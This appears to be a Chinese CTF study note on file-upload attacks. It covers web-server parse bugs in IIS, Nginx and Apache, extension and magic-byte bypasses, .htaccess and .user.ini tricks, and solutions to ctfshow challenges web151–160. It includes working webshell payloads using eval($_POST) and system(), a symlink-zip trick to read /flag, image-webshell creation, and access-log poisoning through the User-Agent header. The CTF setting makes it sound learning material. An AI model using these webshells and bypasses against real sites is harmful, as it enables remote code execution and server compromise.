文件上传

  1. <!DOCTYPE html>
  2. <html>
  3. <head>
  4. <meta charset="utf-8">
  5. <title></title>
  6. </head>
  7. <body>
  8. <form enctype="multipart/form-data" action="http://2021summer.inhann.top:50005/" method="post">
  9. Upload a new file:<br>
  10. <input type="file" name="file" size="50"><br>
  11. <input type="submit" value="Upload">
  12. </form>
  13. </body>
  14. </html>

CTFSHOW-FILENAME_UPLOAD - 图1

勾文件

Ln -s /flag 444.txt

Zip -y 444.zip 444.txt

制作图片马

copy 1.jpg/b+2.php 3.jpg

截断满足以下两个条件

1.PHP版本<5.3.4

2.php.ini中magic_quotes_gpc=off

解析器漏洞

利用上传漏洞,通常需要结合Web容器(IIS、Nginx、Apache、Tomcat)的解析漏洞来让上传的漏洞得到实现

IIS解析漏洞

IIS5.x/IIS 6.0文件解析漏洞

  • 目录名中含有.asp字符串的(目录下)均按照asp文件进行解析;例如:index.asp/目录中的所有文件都会asp解析
  • 当出现xx.asp命名的文件名,访问目录下任意一个文件,均会送给asp.dll解析(执行asp脚本)
  • 文件名中含有.asp;字符,即使时jpg格式文件,IIS也会按照asp对文件进行解析
  • 当文件名xx.asp;xx.jpg,IIS6会将文件送给asp.dll解析(按照asp脚本解析);
    >
    > 请求时:IIS从左往右检查.号,查询到;或/号则(内存)截断;如此执行后,IIS认识的就是xx.asp
  • 默认解析:.asa .cer .cdx IIS6 同时默认解析前面三个文件后缀,都会给asp.dll解析
  • 修复方案:

设置权限,限制用户创建、修改文件夹权限
>
> 更新微软的补丁或者自定义修改IIS的检测规则,阻止上传非法的文件名后缀

IIS7.0/7.5

  • 默认开启 Fast-CGI 状态,在一个服务器文件URL地址后面添加xx.php会将xx.jpg/xx.php解析为PHP文件
  • 修复方法:

修改php.ini文件,将cgi.fi: x_pathinfo设置为 0
>
> IIS7的解析漏洞主要是由于PHP的配置不当导致的

Windows操作系统中,文件名不能以空格或“.”开头,也不能以空格或“.”结尾。当把一个文件命名为以空格或“.”开头或结尾时,会自动地去掉开头和结尾处的空格和“.”。利用此特性,也可能造成“文件解析漏洞”。

Nginx解析漏洞

Nginx <= 0.8.37

影响版本:0.5/0.6/<0.7.65/<0.8.37

  • Fast-CGI开启状态下,存在如同IIS7一样的漏洞:URL地址后面添加xx.php会将xx.jpg/xx.php解析为PHP文件
  • 空字节:xx.jpg%00.php (部分版本中,Fast-CGI关闭下也会被执行)
  • 修复方法:

修改php.ini文件,将cgi.fixpathinfo设置为 0 [关闭]
>
> 再Nginx配置中设置:当类似xx.jpg/xx.php的URL访问时候,返回403;
>
> bash > if ( $fastcgi_script_name ~ ..
/._php) { > return 403 ; > } >

Apache解析漏洞

Apache后缀名解析漏洞

  • Apache解析文件的规则时从右到左开始判断,如果后缀名为不可识别文件解析,则会继续向左判断,直至可以正确识别
  • xxx.php.owf.zip 其中.owf和.zip文件后缀Apache不识别,直至判断.php才会按照PHP解析文件
  • 修复方法:

Apache配置中,禁止xx.php.xxx类似的文件执行
>
> bash > > Order Allow,Deny > Deny from all > >

Apache”%0A”绕过上传黑名单 [CVE-2017-15715]

黑名单策略

如果就地检查仅检查扩展名是否为.php,则可以通过大写字母(.PhP)或使用其他有效的PHP扩展名轻松地绕过检查。您可以使用许多扩展来使PHP代码正常工作。

其中一些扩展为

.php5

.pht

.phar

PrivEsc-sudoers +上传PHP

phpinfo.php4

phpinfo.php7

内容检测

这不是我在野外或CTF中遇到的检查,因此我不会深入探讨这种绕过。话虽这么说,但有些资源指出,有些应用程序会检查内容长度,以尝试了解上传的图像文件的长度是否比平时长。

可以通过更改Content-Length标头或嵌入尽可能短的命令来绕开其中的某些检查。攻击者可以只逐个嵌入命令以获得RCE,而不是像上图那样嵌入成熟的反向外壳。

以我的经验,提前嵌入代码而不是在Burp Intercept中更改文件的内容可能会很有用,尤其是在CTF中。在某些情况下,应用程序会检查您上传的内容的长度是否与Content-Length标头中的长度相对应。因此,如果您在截取文件时更改了文件的内容,那么除非您也更改Content-Length标头,否则应用程序可能能够检测到该文件。这对于本文中将要提到的最后一种绕过的绕过的类型尤其有用,但当然也同样重要。

魔术字节验证

让我们进入更多有趣的东西。随着黑客提出打破安全机制的创新方法,开发人员不断提出更智能的代码。早期,我们讨论了一种非常原始的绕过服务器端文件上传保护的方法:更改Content-Type标头。显然,开发人员必须想出一种更好的方法来检查文件类型。提出的一种方法是检查文件的魔术字节。每个文件都包含称为魔术字节的几个字节,作为识别文件类型的第一个字节。这不依赖于文件扩展名。您不能仅通过更改文件类型来更改魔术字节。安全机制倾向于检查这些字节以验证文件类型。但是,这些字节很容易被用户操纵。

GIF89a;

有时在文件的开头添加上面显示的字符串足以诱骗应用程序将文件解释为GIF文件 #####

PHPINFO与本地文件包含的利用

1.php在解析multipart/form-data请求时,会创建临时文件,并写入上传内容,脚本执行后删除

2.PHPINFO可以输出$_FILES信息

3.通过多种方式争取时间,在临时文件删除前进行执行包含。

1)通过在数据报文中加入大量垃圾数据,使PHPINFO页面过大,导致PHP输出进入流式输出,并不一次输出完毕。

2)通过大量请求来延迟PHP脚本的执行速度。

https://github.com/hxer/vulnapp.git

在线解压缩

1.将webshell打包到压缩包中

1)模板上传处常用压缩包上传后进行自动解压

2)部分此类有检测压缩包中内容的,可尝试建议目录进行压缩。

3)使用目录穿越(../)的方法向上一级目录进行上传。

.htaccess

content:AddType application/x-httpd-php .png

web151

前端验证 BP抓包上传

web152

同上

web153

.user.ini

php.ini 是 php 的一个全局配置文件,对整个 web 服务起作用;而.user.ini 和.htaccess 一样是目录的配置文件,.user.ini 就是用户自定义的一个 php.ini,通常用这个文件来构造后门和隐藏后门。

实例

php 配置项中有两个配置可以起到一些作用

auto_prepend_file = <filename>         //包含在文件头auto_append_file = <filename>          //包含在文件尾

这两个配置项的作用相当于一个文件包含,比如

// .user.ini
auto_prepend_file = 1.jpg// 1.jpg<?php phpinfo();?>// 11.php

也就是在一个目录下有.user.ini 这个配置文件,配置内容为上,有 1.jpg,同时该目录下还需要有.php 后缀的文件,auto_prepend_file = 1.jpg 这个配置的意思就是在当前目录下的.php 文件包含 1.jpg 这个图片,在此处相当于在 11.php 文件头插入了 require('1.jpg') 这条语句,也就是说相当于文件包含。
另一条配置包含在文件尾,如果遇到了 exit 语句的话就会失效。

.user.ini 使用范围很广,不仅限于 Apache 服务器,同样适用于 Nginx 服务器,只要服务器启用了 fastcgi 模式 (通常非线程安全模式使用的就是 fastcgi 模式)。

局限

在.user.ini 中使用这条配置的使用也说了是在同目录下的其他.php 文件中包含配置中所指定的文件,也就是说需要该目录下存在.php 文件,通常在文件上传中,一般是专门有一个目录用来存在图片,可能小概率会存在.php 文件。

但是有时可以使用 ../ 来将文件上传到其他目录,达到一个利用的效果。

利用

上传.user.ini 内容 auto_prepend_file = 1.jpg

上传 1.jpg 内容 <?php phpinfo(); @eval($_POST[1]);?>

自动加载到同级目录 php文件下

web154

内容过滤了php 将内容大写即可

web155

利用短标签

web156

过滤了[ ,可以用{}代替[]

web157

又过滤了;{ ,可以 <?=(system('nl ../*.ph*'))?>

web158

<?=nl ../flag.ph*?>

web159

<?=nl ../*?>

web160

先上传.user.ini
再上传1.png 内容<?=include"/var/lo"."g/nginx/access.lo"."g"?> (log被过滤)
再修改user-agent <?php eval($_POST[hack]);?>
蚁剑连接即可